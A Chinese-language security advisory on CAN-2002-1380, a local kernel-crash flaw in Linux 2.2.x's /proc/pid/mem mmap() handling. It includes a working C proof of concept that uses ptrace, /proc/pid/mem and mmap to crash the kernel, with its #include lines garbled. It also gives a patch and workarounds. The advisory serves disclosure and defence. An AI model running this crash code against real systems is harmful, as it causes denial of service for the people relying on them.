涉及程序: Linux kernel 2.2.x 描述: Linux /proc/
/mem mmap()内核崩溃漏洞 详细: Linux kernel 是Linux操作系统内核,/proc/pid/mem 接口设计用于某一应用程序在某些情况下可以方便的访问另一应用程序内存。这个功能对开发人员或管理员在运行的系统中调试或分析程序非常有用。其中之一访问内存的方法是直接使用mmap()映射页面。 直接使用mmap()映射页面访问内存方法缺少充分的验证,本地攻击者可以利用这个缺陷请求访问不可读进程使系统内核崩溃。 用户可以使用mmap()接口访问被跟踪进程本来没有权限读取的内存,用户可以传递PROT_READ参数给这个调用,请求读访问这个映射,由于不充分的验证检查,恶意用户可以把映射标记为可读,这样用户可以请求他的实例可被内核读取,造成系统崩溃。 受影响系统: Linux kernel 2.2.x 攻击方法: #define PAGES 10 #include
#include
#include
#include
#include
#include
int main() { int ad1,ad2,zer,mem,pid,i; zer=open("/dev/zero",O_RDONLY); ad1=(int)mmap(0,PAGES*PAGE_SIZE,0,MAP_PRIVATE,zer,0); pid=getpid(); if (!fork()) { char p<64>; ptrace(PTRACE_ATTACH,pid,0,0); sleep(1); sprintf(p,\"/proc/%d/mem\",pid); mem=open(p,O_RDONLY); ad2=(int)mmap(0,PAGES*PAGE_SIZE,PROT_READ,MAP_PRIVATE,mem,ad1); write(1,(char*)ad2,PAGES*PAGE_SIZE); } sleep(100); return 0; } 解决方案: 目前厂商还没有提供补丁或者升级程序,建议用户随时关注厂商站点: http://www.kernel.org 临时解决方案: * 限制ptrace()或/proc的访问,多种安全增强补丁如Openwall或grsecurity提供限制实现。 * 第三方补丁: --- linux-2.2/fs/proc/mem.c.old Sun Mar 25 08:30:58 2001 +++ linux-2.2/fs/proc/mem.c Tue Dec 10 14:29:05 2002 @@ -323,7 +323,7 @@ NULL, /* mem_readdir */ NULL, /* mem_poll */ NULL, /* mem_ioctl */ - mem_mmap, /* mmap */ + NULL, /* mmap */ NULL, /* no special open code */ NULL, /* flush */ NULL, /* no special release code */ * 管理员如果想不重新编译和重启系统对系统进行修补,和所有用户不能使用ptrace()接口,可以采用可装载内核模块来关闭普通用户对ptrace()的访问,其中一个补丁可从如下地址获得: http://www.securiteam.com/tools/5SP082K5GK.html 附加信息: CVE(CAN) ID: CAN-2002-1380